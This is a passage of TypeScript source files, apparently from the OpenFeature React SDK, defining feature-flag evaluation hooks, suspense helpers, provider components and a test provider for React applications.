* Get context-aware tracking function(s) for mutating the evaluation context associated with this domain, or the default context if `defaultContext: true`.
* See the {@link https://openfeature.dev/docs/reference/technologies/client/web/#targeting-and-context|documentation} for more information.
* @param {ContextMutationOptions} options options for the generated function
* @returns {ContextMutation} context-aware function(s) to mutate evaluation context
*/
export function useContextMutator(options: ContextMutationOptions = { defaultContext: false }): ContextMutation {
const { domain } = useContext(Context) || {};
const previousContext = useRef<null | EvaluationContext>(null);
const setContext = useCallback(async (updatedContext: EvaluationContext) => {
if (previousContext.current !== updatedContext) {
if (!domain || options?.defaultContext) {
OpenFeature.setContext(updatedContext);
} else {
OpenFeature.setContext(domain, updatedContext);
}
previousContext.current = updatedContext;
}
}, [domain]);
return {
setContext,
};
}

View File

@ -0,0 +1 @@
export * from './use-feature-flag';

View File

@ -0,0 +1,377 @@
import type {
Client,
ClientProviderEvents,
EvaluationDetails,
EventHandler,
FlagEvaluationOptions,
FlagValue,
JsonValue,
} from '@openfeature/web-sdk';
import { ProviderEvents, ProviderStatus } from '@openfeature/web-sdk';
import { useCallback, useEffect, useRef, useState } from 'react';
import {
DEFAULT_OPTIONS,
isEqual,
normalizeOptions,
suspendUntilInitialized,
suspendUntilReconciled,
useProviderOptions,
} from '../internal';
import type { ReactFlagEvaluationNoSuspenseOptions, ReactFlagEvaluationOptions } from '../options';
import { useOpenFeatureClient } from '../provider/use-open-feature-client';
import { useOpenFeatureClientStatus } from '../provider/use-open-feature-client-status';
import { useOpenFeatureProvider } from '../provider/use-open-feature-provider';
import type { FlagQuery } from '../query';
import { HookFlagQuery } from '../internal/hook-flag-query';
// This type is a bit wild-looking, but I think we need it.
// We have to use the conditional, because otherwise useFlag('key', false) would return false, not boolean (too constrained).
// We have a duplicate for the hook return below, this one is just used for casting because the name isn't as clear
type ConstrainedFlagQuery<T> = FlagQuery<
T extends boolean
? boolean
: T extends number
? number
: T extends string
? string
: T extends JsonValue
? T
: JsonValue
>;
/**
* Evaluates a feature flag generically, returning an react-flavored queryable object.
* The resolver method to use is based on the type of the defaultValue.
* For type-specific hooks, use {@link useBooleanFlagValue}, {@link useBooleanFlagDetails} and equivalents.
* By default, components will re-render when the flag value changes.
* @param {string} flagKey the flag identifier
* @template {FlagValue} T A optional generic argument constraining the default.
* @param {T} defaultValue the default value; used to determine what resolved type should be used.
* @param {ReactFlagEvaluationOptions} options for this evaluation
* @returns { FlagQuery } a queryable object containing useful information about the flag.
*/
export function useFlag<T extends FlagValue = FlagValue>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): FlagQuery<
T extends boolean
? boolean
: T extends number
? number
: T extends string
? string
: T extends JsonValue
? T
: JsonValue
> {
// use the default value to determine the resolver to call
const query =
typeof defaultValue === 'boolean'
? new HookFlagQuery<boolean>(useBooleanFlagDetails(flagKey, defaultValue, options))
: typeof defaultValue === 'number'
? new HookFlagQuery<number>(useNumberFlagDetails(flagKey, defaultValue, options))
: typeof defaultValue === 'string'
? new HookFlagQuery<string>(useStringFlagDetails(flagKey, defaultValue, options))
: new HookFlagQuery<JsonValue>(useObjectFlagDetails(flagKey, defaultValue, options));
// TS sees this as HookFlagQuery<JsonValue>, because the compiler isn't aware of the `typeof` checks above.
return query as unknown as ConstrainedFlagQuery<T>;
}
// alias to the return value of useFlag, used to keep useSuspenseFlag consistent
type UseFlagReturn<T extends FlagValue> = ReturnType<typeof useFlag<T>>;
/**
* Equivalent to {@link useFlag} with `options: { suspend: true }`
* @experimental Suspense is an experimental feature subject to change in future versions.
* @param {string} flagKey the flag identifier
* @template {FlagValue} T A optional generic argument constraining the default.
* @param {T} defaultValue the default value; used to determine what resolved type should be used.
* @param {ReactFlagEvaluationNoSuspenseOptions} options for this evaluation
* @returns { UseFlagReturn<T> } a queryable object containing useful information about the flag.
*/
export function useSuspenseFlag<T extends FlagValue = FlagValue>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationNoSuspenseOptions,
): UseFlagReturn<T> {
return useFlag(flagKey, defaultValue, { ...options, suspendUntilReady: true, suspendWhileReconciling: true });
}
/**
* Evaluates a feature flag, returning a boolean.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @param {boolean} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { boolean} a EvaluationDetails object for this evaluation
*/
export function useBooleanFlagValue(
flagKey: string,
defaultValue: boolean,
options?: ReactFlagEvaluationOptions,
): boolean {
return useBooleanFlagDetails(flagKey, defaultValue, options).value;
}
/**
* Evaluates a feature flag, returning evaluation details.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @param {boolean} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { EvaluationDetails<boolean>} a EvaluationDetails object for this evaluation
*/
export function useBooleanFlagDetails(
flagKey: string,
defaultValue: boolean,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<boolean> {
return attachHandlersAndResolve(
flagKey,
defaultValue,
(client) => {
return client.getBooleanDetails;
},
options,
);
}
/**
* Evaluates a feature flag, returning a string.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @template {string} [T=string] A optional generic argument constraining the string
* @param {T} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { boolean} a EvaluationDetails object for this evaluation
*/
export function useStringFlagValue<T extends string = string>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): string {
return useStringFlagDetails(flagKey, defaultValue, options).value;
}
/**
* Evaluates a feature flag, returning evaluation details.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @template {string} [T=string] A optional generic argument constraining the string
* @param {T} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { EvaluationDetails<string>} a EvaluationDetails object for this evaluation
*/
export function useStringFlagDetails<T extends string = string>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<string> {
return attachHandlersAndResolve(
flagKey,
defaultValue,
(client) => {
return client.getStringDetails<T>;
},
options,
);
}
/**
* Evaluates a feature flag, returning a number.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @template {number} [T=number] A optional generic argument constraining the number
* @param {T} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { boolean} a EvaluationDetails object for this evaluation
*/
export function useNumberFlagValue<T extends number = number>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): number {
return useNumberFlagDetails(flagKey, defaultValue, options).value;
}
/**
* Evaluates a feature flag, returning evaluation details.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @template {number} [T=number] A optional generic argument constraining the number
* @param {T} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { EvaluationDetails<number>} a EvaluationDetails object for this evaluation
*/
export function useNumberFlagDetails<T extends number = number>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<number> {
return attachHandlersAndResolve(
flagKey,
defaultValue,
(client) => {
return client.getNumberDetails<T>;
},
options,
);
}
/**
* Evaluates a feature flag, returning an object.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @template {JsonValue} [T=JsonValue] A optional generic argument describing the structure
* @param {T} defaultValue the default value
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { boolean} a EvaluationDetails object for this evaluation
*/
export function useObjectFlagValue<T extends JsonValue = JsonValue>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): T {
return useObjectFlagDetails<T>(flagKey, defaultValue, options).value;
}
/**
* Evaluates a feature flag, returning evaluation details.
* By default, components will re-render when the flag value changes.
* For a generic hook returning a queryable interface, see {@link useFlag}.
* @param {string} flagKey the flag identifier
* @param {T} defaultValue the default value
* @template {JsonValue} [T=JsonValue] A optional generic argument describing the structure
* @param {ReactFlagEvaluationOptions} options options for this evaluation
* @returns { EvaluationDetails<T>} a EvaluationDetails object for this evaluation
*/
export function useObjectFlagDetails<T extends JsonValue = JsonValue>(
flagKey: string,
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<T> {
return attachHandlersAndResolve(
flagKey,
defaultValue,
(client) => {
return client.getObjectDetails<T>;
},
options,
);
}
// determines if a flag should be re-evaluated based on a list of changed flags
function shouldEvaluateFlag(flagKey: string, flagsChanged?: string[]): boolean {
// if flagsChange is missing entirely, we don't know what to re-render
return !flagsChanged || flagsChanged.includes(flagKey);
}
function attachHandlersAndResolve<T extends FlagValue>(
flagKey: string,
defaultValue: T,
resolver: (
client: Client,
) => (flagKey: string, defaultValue: T, options?: FlagEvaluationOptions) => EvaluationDetails<T>,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<T> {
// highest priority > evaluation hook options > provider options > default options > lowest priority
const defaultedOptions = { ...DEFAULT_OPTIONS, ...useProviderOptions(), ...normalizeOptions(options) };
const client = useOpenFeatureClient();
const status = useOpenFeatureClientStatus();
const provider = useOpenFeatureProvider();
const isFirstRender = useRef(true);
if (defaultedOptions.suspendUntilReady && status === ProviderStatus.NOT_READY) {
suspendUntilInitialized(provider, client);
}
if (defaultedOptions.suspendWhileReconciling && status === ProviderStatus.RECONCILING) {
suspendUntilReconciled(client);
}
const [evaluationDetails, setEvaluationDetails] = useState<EvaluationDetails<T>>(() =>
resolver(client).call(client, flagKey, defaultValue, options),
);
// Re-evaluate when dependencies change (handles prop changes like flagKey), or if during a re-render, we have detected a change in the evaluated value
useEffect(() => {
if (isFirstRender.current) {
isFirstRender.current = false;
return;
}
const newDetails = resolver(client).call(client, flagKey, defaultValue, options);
if (!isEqual(newDetails.value, evaluationDetails.value)) {
setEvaluationDetails(newDetails);
}
}, [client, flagKey, defaultValue, options, resolver, evaluationDetails]);
// Maintain a mutable reference to the evaluation details to have a up-to-date reference in the handlers.
const evaluationDetailsRef = useRef<EvaluationDetails<T>>(evaluationDetails);
useEffect(() => {
evaluationDetailsRef.current = evaluationDetails;
}, [evaluationDetails]);
const updateEvaluationDetailsCallback = useCallback(() => {
const updatedEvaluationDetails = resolver(client).call(client, flagKey, defaultValue, options);
/**
* Avoid re-rendering if the value hasn't changed. We could expose a means
* to define a custom comparison function if users require a more
* sophisticated comparison in the future.
*/
if (!isEqual(updatedEvaluationDetails.value, evaluationDetailsRef.current.value)) {
setEvaluationDetails(updatedEvaluationDetails);
}
}, [client, flagKey, defaultValue, options, resolver]);
const configurationChangeCallback = useCallback<EventHandler<ClientProviderEvents.ConfigurationChanged>>(
(eventDetails) => {
if (shouldEvaluateFlag(flagKey, eventDetails?.flagsChanged)) {
updateEvaluationDetailsCallback();
}
},
[flagKey, updateEvaluationDetailsCallback],
);
useEffect(() => {
const controller = new AbortController();
if (status === ProviderStatus.NOT_READY) {
// update when the provider is ready
client.addHandler(ProviderEvents.Ready, updateEvaluationDetailsCallback, { signal: controller.signal });
}
if (defaultedOptions.updateOnContextChanged) {
// update when the context changes
client.addHandler(ProviderEvents.ContextChanged, updateEvaluationDetailsCallback, { signal: controller.signal });
}
if (defaultedOptions.updateOnConfigurationChanged) {
// update when the provider configuration changes
client.addHandler(ProviderEvents.ConfigurationChanged, configurationChangeCallback, {
signal: controller.signal,
});
}
return () => {
// cleanup the handlers
controller.abort();
};
}, [
client,
status,
defaultedOptions.updateOnContextChanged,
defaultedOptions.updateOnConfigurationChanged,
updateEvaluationDetailsCallback,
configurationChangeCallback,
]);
return evaluationDetails;
}

View File

@ -0,0 +1,8 @@
export * from './evaluation';
export * from './query';
export * from './provider';
export * from './context';
export * from './tracking';
export * from './options';
// re-export the web-sdk so consumers can access that API from the react-sdk
export * from '@openfeature/web-sdk';

View File

@ -0,0 +1,26 @@
import type { Client } from '@openfeature/web-sdk';
import React from 'react';
import type { NormalizedOptions, ReactFlagEvaluationOptions } from '../options';
import { normalizeOptions } from '.';
/**
* The underlying React context.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
*/
export const Context = React.createContext<
{ client: Client; domain?: string; options: ReactFlagEvaluationOptions } | undefined
>(undefined);
/**
* Get a normalized copy of the options used for this OpenFeatureProvider, see {@link normalizeOptions}.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @returns {NormalizedOptions} normalized options the defaulted options, not defaulted or normalized.
*/
export function useProviderOptions(): NormalizedOptions {
const { options } = React.useContext(Context) || {};
return normalizeOptions(options);
}

View File

@ -0,0 +1,9 @@
const context = 'Components using OpenFeature must be wrapped with an <OpenFeatureProvider>.';
const tip = 'If you are seeing this in a test, see: https://openfeature.dev/docs/reference/technologies/client/web/react#testing';
export class MissingContextError extends Error {
constructor(reason: string) {
super(`${reason}: ${context} ${tip}`);
this.name = 'MissingContextError';
}
}

View File

@ -0,0 +1,57 @@
import type {
EvaluationDetails,
FlagValue} from '@openfeature/web-sdk';
import {
StandardResolutionReasons
} from '@openfeature/web-sdk';
import type { FlagQuery } from '../query';
// FlagQuery implementation, do not export
export class HookFlagQuery<T extends FlagValue = FlagValue> implements FlagQuery {
constructor(private _details: EvaluationDetails<T>) {}
get details() {
return this._details;
}
get value() {
return this._details?.value;
}
get variant() {
return this._details.variant;
}
get flagMetadata() {
return this._details.flagMetadata;
}
get reason() {
return this._details.reason;
}
get isError() {
return !!this._details?.errorCode || this._details.reason == StandardResolutionReasons.ERROR;
}
get errorCode() {
return this._details?.errorCode;
}
get errorMessage() {
return this._details?.errorMessage;
}
get isAuthoritative() {
return (
!this.isError &&
this._details.reason != StandardResolutionReasons.STALE &&
this._details.reason != StandardResolutionReasons.DISABLED
);
}
get type() {
return typeof this._details.value;
}
}

View File

@ -0,0 +1,4 @@
export * from './context';
export * from './is-equal';
export * from './options';
export * from './suspense';

View File

@ -0,0 +1,38 @@
import { type FlagValue } from '@openfeature/web-sdk';
/**
* Deeply compare two values to determine if they are equal.
* Supports primitives and serializable objects.
* @param {FlagValue} value First value to compare
* @param {FlagValue} other Second value to compare
* @returns {boolean} True if the values are equal
*/
export function isEqual(value: FlagValue, other: FlagValue): boolean {
if (value === other) {
return true;
}
if (typeof value !== typeof other) {
return false;
}
if (typeof value === 'object' && value !== null && other !== null) {
const valueKeys = Object.keys(value);
const otherKeys = Object.keys(other);
if (valueKeys.length !== otherKeys.length) {
return false;
}
for (const key of valueKeys) {
// eslint-disable-next-line @typescript-eslint/no-explicit-any
if (!isEqual((value as any)[key], (other as any)[key])) {
return false;
}
}
return true;
}
return false;
}

View File

@ -0,0 +1,40 @@
import type { ReactFlagEvaluationOptions, NormalizedOptions } from '../options';
/**
* Default options.
* DO NOT EXPORT PUBLICLY
* @internal
*/
export const DEFAULT_OPTIONS: ReactFlagEvaluationOptions = {
updateOnContextChanged: true,
updateOnConfigurationChanged: true,
suspendUntilReady: false,
suspendWhileReconciling: false,
};
/**
* Returns normalization options (all `undefined` fields removed, and `suspend` decomposed to `suspendUntilReady` and `suspendWhileReconciling`).
* DO NOT EXPORT PUBLICLY
* @internal
* @param {ReactFlagEvaluationOptions} options options to normalize
* @returns {NormalizedOptions} normalized options
*/
export const normalizeOptions: (options?: ReactFlagEvaluationOptions) => NormalizedOptions = (
options: ReactFlagEvaluationOptions = {},
) => {
const updateOnContextChanged = options.updateOnContextChanged;
const updateOnConfigurationChanged = options.updateOnConfigurationChanged;
// fall-back the suspense options to the catch-all `suspend` property
const suspendUntilReady = 'suspendUntilReady' in options ? options.suspendUntilReady : options.suspend;
const suspendWhileReconciling =
'suspendWhileReconciling' in options ? options.suspendWhileReconciling : options.suspend;
return {
// only return these if properly set (no undefined to allow overriding with spread)
...(typeof suspendUntilReady === 'boolean' && { suspendUntilReady }),
...(typeof suspendWhileReconciling === 'boolean' && { suspendWhileReconciling }),
...(typeof updateOnContextChanged === 'boolean' && { updateOnContextChanged }),
...(typeof updateOnConfigurationChanged === 'boolean' && { updateOnConfigurationChanged }),
};
};

View File

@ -0,0 +1,56 @@
import type { Client, Provider } from '@openfeature/web-sdk';
import { NOOP_PROVIDER, ProviderEvents } from '@openfeature/web-sdk';
import { use } from './use';
/**
* A weak map is used to store the global suspense status for each provider. It's
* important for this to be global to avoid rerender loops. Using useRef won't
* work because the value isn't preserved when a promise is thrown in a component,
* which is how suspense operates.
*/
const globalProviderSuspenseStatus = new WeakMap<Provider, Promise<unknown>>();
/**
* Suspends until the client is ready to evaluate feature flags.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @param {Provider} provider the provider to suspend for
* @param {Client} client the client to check for readiness
*/
export function suspendUntilInitialized(provider: Provider, client: Client) {
const statusPromiseRef = globalProviderSuspenseStatus.get(provider);
if (!statusPromiseRef) {
// Noop provider is never ready, so we resolve immediately
const statusPromise = provider !== NOOP_PROVIDER ? isProviderReady(client) : Promise.resolve();
globalProviderSuspenseStatus.set(provider, statusPromise);
// Use will throw the promise and React will trigger a rerender when it's resolved
use(statusPromise);
} else {
// Reuse the existing promise, use won't rethrow if the promise has settled.
use(statusPromiseRef);
}
}
/**
* Suspends until the provider has finished reconciling.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @param {Client} client the client to check for readiness
*/
export function suspendUntilReconciled(client: Client) {
use(isProviderReady(client));
}
async function isProviderReady(client: Client) {
const controller = new AbortController();
try {
return await new Promise((resolve, reject) => {
client.addHandler(ProviderEvents.Ready, resolve, { signal: controller.signal });
client.addHandler(ProviderEvents.Error, reject, { signal: controller.signal });
});
} finally {
controller.abort();
}
}

View File

@ -0,0 +1,53 @@
/// <reference types="react/experimental" />
// This function is adopted from https://github.com/vercel/swr
import React from 'react';
/**
* Extends a Promise-like value to include status tracking.
* The extra properties are used to manage the lifecycle of the Promise, indicating its current state.
* More information can be found in the React RFE for the use hook.
* @see https://github.com/reactjs/rfcs/pull/229
*/
export type UsePromise<T> =
Promise<T> & {
status?: 'pending' | 'fulfilled' | 'rejected';
value?: T;
reason?: unknown;
};
/**
* React.use is a React API that lets you read the value of a resource like a Promise or context.
* It was officially added in React 19, so needs to be polyfilled to support older React versions.
* @param {UsePromise} thenable A thenable object that represents a Promise-like value.
* @returns {unknown} The resolved value of the thenable or throws if it's still pending or rejected.
*/
export const use =
React.use ||
// This extra generic is to avoid TypeScript mixing up the generic and JSX syntax
// and emitting an error.
// We assume that this is only for the `use(thenable)` case, not `use(context)`.
// https://github.com/facebook/react/blob/aed00dacfb79d17c53218404c52b1c7aa59c4a89/packages/react-server/src/ReactFizzThenable.js#L45
// eslint-disable-next-line @typescript-eslint/no-unused-vars
(<T, _>(thenable: UsePromise<T>): T => {
switch (thenable.status) {
case 'pending':
throw thenable;
case 'fulfilled':
return thenable.value as T;
case 'rejected':
throw thenable.reason;
default:
thenable.status = 'pending';
thenable.then(
(v) => {
thenable.status = 'fulfilled';
thenable.value = v;
},
(e) => {
thenable.status = 'rejected';
thenable.reason = e;
},
);
throw thenable;
}
});

View File

@ -0,0 +1,53 @@
import type { FlagEvaluationOptions } from '@openfeature/web-sdk';
export type ReactFlagEvaluationOptions = (
| {
/**
* Enable or disable all suspense functionality.
* Cannot be used in conjunction with `suspendUntilReady` and `suspendWhileReconciling` options.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspend?: boolean;
suspendUntilReady?: never;
suspendWhileReconciling?: never;
}
| {
/**
* Suspend flag evaluations while the provider is not ready.
* Set to false if you don't want to show suspense fallbacks until the provider is initialized.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendUntilReady?: boolean;
/**
* Suspend flag evaluations while the provider's context is being reconciled.
* Set to true if you want to show suspense fallbacks while flags are re-evaluated after context changes.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendWhileReconciling?: boolean;
suspend?: never;
}
) & {
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
updateOnConfigurationChanged?: boolean;
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
updateOnContextChanged?: boolean;
} & FlagEvaluationOptions;
// suspense options removed for the useSuspenseFlag hooks
export type ReactFlagEvaluationNoSuspenseOptions = Omit<ReactFlagEvaluationOptions, 'suspend' | 'suspendUntilReady' | 'suspendWhileReconciling'>;
export type NormalizedOptions = Omit<ReactFlagEvaluationOptions, 'suspend'>;

View File

@ -0,0 +1,5 @@
export * from './provider';
export * from './use-open-feature-client';
export * from './use-when-provider-ready';
export * from './use-open-feature-client-status';
export * from './test-provider';

View File

@ -0,0 +1,40 @@
import type { Client} from '@openfeature/web-sdk';
import { OpenFeature } from '@openfeature/web-sdk';
import * as React from 'react';
import type { ReactFlagEvaluationOptions } from '../options';
import { Context } from '../internal';
type ClientOrDomain =
| {
/**
* An identifier which logically binds clients with providers
* @see OpenFeature.setProvider() and overloads.
*/
domain?: string;
client?: never;
}
| {
/**
* OpenFeature client to use.
*/
client?: Client;
domain?: never;
};
type ProviderProps = {
children?: React.ReactNode;
} & ClientOrDomain &
ReactFlagEvaluationOptions;
/**
* Provides a scope for evaluating feature flags by binding a client to all child components.
* @param {ProviderProps} properties props for the context provider
* @returns {OpenFeatureProvider} context provider
*/
export function OpenFeatureProvider({ client, domain, children, ...options }: ProviderProps): JSX.Element {
if (!client) {
client = OpenFeature.getClient(domain);
}
return <Context.Provider value={{ client, options, domain }}>{children}</Context.Provider>;
}

View File

@ -0,0 +1,122 @@
import type {
JsonValue,
Provider} from '@openfeature/web-sdk';
import {
InMemoryProvider,
NOOP_PROVIDER,
OpenFeature
} from '@openfeature/web-sdk';
import React from 'react';
import type { NormalizedOptions } from '../options';
import { OpenFeatureProvider } from './provider';
type FlagValueMap = { [flagKey: string]: JsonValue };
type FlagConfig = ConstructorParameters<typeof InMemoryProvider>[0];
type TestProviderProps = Omit<React.ComponentProps<typeof OpenFeatureProvider>, 'client'> &
(
| {
provider?: never;
/**
* Optional map of flagKeys to flagValues for this OpenFeatureTestProvider context.
* If not supplied, all flag evaluations will default.
*/
flagValueMap?: FlagValueMap;
/**
* Optional delay for the underlying test provider's readiness and reconciliation.
* Defaults to 0.
*/
delayMs?: number;
}
| {
/**
* An optional partial provider to pass for full control over the flag resolution for this OpenFeatureTestProvider context.
* Any un-implemented methods or properties will no-op.
*/
provider?: Partial<Provider>;
flagValueMap?: never;
delayMs?: never;
}
);
const TEST_VARIANT = 'test-variant';
const TEST_PROVIDER = 'test-provider';
// internal provider which is basically the in-memory provider with a simpler config and some optional fake delays
class TestProvider extends InMemoryProvider {
// initially make this undefined, we still set it if a delay is specified
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore - For maximum compatibility with previous versions, we ignore a possible TS error here,
// since "initialize" was previously defined in superclass.
// We can safely remove this ts-ignore in a few versions
initialize: Provider['initialize'] = undefined;
// "place-holder" init function which we only assign if want a delay
private delayedInitialize = async () => {
await new Promise<void>((resolve) => setTimeout(resolve, this.delay));
};
constructor(
flagValueMap: FlagValueMap,
private delay = 0,
) {
// convert the simple flagValueMap into an in-memory config
const flagConfig = Object.entries(flagValueMap).reduce((acc: FlagConfig, flag): FlagConfig => {
return {
...acc,
[flag[0]]: {
variants: {
[TEST_VARIANT]: flag[1],
},
defaultVariant: TEST_VARIANT,
disabled: false,
},
};
}, {});
super(flagConfig);
// only define and init if there's a non-zero delay specified
this.initialize = this.delay ? this.delayedInitialize.bind(this) : undefined;
}
async onContextChange() {
return new Promise<void>((resolve) => setTimeout(resolve, this.delay));
}
}
/**
* A React Context provider based on the {@link InMemoryProvider}, specifically built for testing.
* Use this for testing components that use flag evaluation hooks.
* @param {TestProviderProps} testProviderOptions options for the OpenFeatureTestProvider
* @returns {OpenFeatureProvider} OpenFeatureTestProvider
*/
export function OpenFeatureTestProvider(testProviderOptions: TestProviderProps) {
const { flagValueMap, provider } = testProviderOptions;
const effectiveProvider = (
flagValueMap ? new TestProvider(flagValueMap, testProviderOptions.delayMs) : mixInNoop(provider) || NOOP_PROVIDER
) as Provider;
testProviderOptions.domain
? OpenFeature.setProvider(testProviderOptions.domain, effectiveProvider)
: OpenFeature.setProvider(effectiveProvider);
return (
<OpenFeatureProvider {...(testProviderOptions as NormalizedOptions)} domain={testProviderOptions.domain}>
{testProviderOptions.children}
</OpenFeatureProvider>
);
}
// mix in the no-op provider when the partial is passed
function mixInNoop(provider: Partial<Provider> = {}) {
// fill in any missing methods with no-ops
for (const prop of Object.getOwnPropertyNames(Object.getPrototypeOf(NOOP_PROVIDER)).filter(prop => prop !== 'constructor')) {
const patchedProvider = provider as {[key: string]: keyof Provider};
if (!Object.getPrototypeOf(patchedProvider)[prop] && !patchedProvider[prop]) {
patchedProvider[prop] = Object.getPrototypeOf(NOOP_PROVIDER)[prop];
}
}
// fill in the metadata if missing
if (!provider.metadata || !provider.metadata.name) {
(provider.metadata as unknown) = { name: TEST_PROVIDER };
}
return provider;
}

View File

@ -0,0 +1,29 @@
import { useEffect, useState } from 'react';
import { useOpenFeatureClient } from './use-open-feature-client';
import type { ProviderStatus } from '@openfeature/web-sdk';
import { ProviderEvents } from '@openfeature/web-sdk';
/**
* Get the {@link ProviderStatus} for the OpenFeatureClient.
* @returns {ProviderStatus} status of the client for this scope
*/
export function useOpenFeatureClientStatus(): ProviderStatus {
const client = useOpenFeatureClient();
const [status, setStatus] = useState<ProviderStatus>(client.providerStatus);
const controller = new AbortController();
useEffect(() => {
const updateStatus = () => setStatus(client.providerStatus);
client.addHandler(ProviderEvents.ConfigurationChanged, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.ContextChanged, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Error, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Ready, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Stale, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Reconciling, updateStatus, { signal: controller.signal });
return () => {
controller.abort();
};
}, [client]);
return status;
}

View File

@ -0,0 +1,19 @@
import React from 'react';
import { Context } from '../internal';
import { type Client } from '@openfeature/web-sdk';
import { MissingContextError } from '../internal/errors';
/**
* Get the {@link Client} instance for this OpenFeatureProvider context.
* Note that the provider to which this is bound is determined by the OpenFeatureProvider's domain.
* @returns {Client} client for this scope
*/
export function useOpenFeatureClient(): Client {
const { client } = React.useContext(Context) || {};
if (!client) {
throw new MissingContextError('No OpenFeature client available');
}
return client;
}

View File

@ -0,0 +1,21 @@
import React from 'react';
import { Context } from '../internal';
import { OpenFeature } from '@openfeature/web-sdk';
import type { Provider } from '@openfeature/web-sdk';
import { MissingContextError } from '../internal/errors';
/**
* Get the {@link Provider} bound to the domain specified in the OpenFeatureProvider context.
* Note that it isn't recommended to interact with the provider directly, but rather through
* an OpenFeature client.
* @returns {Provider} provider for this scope
*/
export function useOpenFeatureProvider(): Provider {
const openFeatureContext = React.useContext(Context);
if (!openFeatureContext) {
throw new MissingContextError('No OpenFeature context available');
}
return OpenFeature.getProvider(openFeatureContext.domain);
}

View File

@ -0,0 +1,29 @@
import { ProviderStatus } from '@openfeature/web-sdk';
import { useOpenFeatureClient } from './use-open-feature-client';
import { useOpenFeatureClientStatus } from './use-open-feature-client-status';
import type { ReactFlagEvaluationOptions } from '../options';
import { DEFAULT_OPTIONS, useProviderOptions, normalizeOptions, suspendUntilInitialized } from '../internal';
import { useOpenFeatureProvider } from './use-open-feature-provider';
type Options = Pick<ReactFlagEvaluationOptions, 'suspendUntilReady'>;
/**
* Utility hook that triggers suspense until the provider is {@link ProviderStatus.READY}, without evaluating any flags.
* Especially useful for React v16/17 "Legacy Suspense", in which siblings to suspending components are
* initially mounted and then hidden (see: https://github.com/reactwg/react-18/discussions/7).
* @param {Options} options options for suspense
* @returns {boolean} boolean indicating if provider is {@link ProviderStatus.READY}, useful if suspense is disabled and you want to handle loaders on your own
*/
export function useWhenProviderReady(options?: Options): boolean {
// highest priority > evaluation hook options > provider options > default options > lowest priority
const defaultedOptions = { ...DEFAULT_OPTIONS, ...useProviderOptions(), ...normalizeOptions(options) };
const client = useOpenFeatureClient();
const status = useOpenFeatureClientStatus();
const provider = useOpenFeatureProvider();
if (defaultedOptions.suspendUntilReady && status === ProviderStatus.NOT_READY) {
suspendUntilInitialized(provider, client);
}
return status === ProviderStatus.READY;
}

View File

@ -0,0 +1 @@
export * from './query';

View File

@ -0,0 +1,58 @@
import type { ErrorCode, EvaluationDetails, FlagMetadata, FlagValue, StandardResolutionReasons } from '@openfeature/core';
export interface FlagQuery<T extends FlagValue = FlagValue> {
/**
* A structure representing the result of the flag evaluation process
*/
readonly details: EvaluationDetails<T>;
/**
* The flag value
*/
readonly value: T;
/**
* A variant is a semantic identifier for a value.
* Not available from all providers.
*/
readonly variant: string | undefined;
/**
* Arbitrary data associated with this flag or evaluation.
* Not available from all providers.
*/
readonly flagMetadata: FlagMetadata;
/**
* The reason the evaluation resolved to the particular value.
* Not available from all providers.
*/
readonly reason: typeof StandardResolutionReasons | string | undefined;
/**
* Indicates if this flag defaulted due to an error.
* Specifically, indicates reason equals {@link StandardResolutionReasons.ERROR} or the errorCode is set, this field is truthy.
*/
readonly isError: boolean;
/**
* The error code, see {@link ErrorCode}.
*/
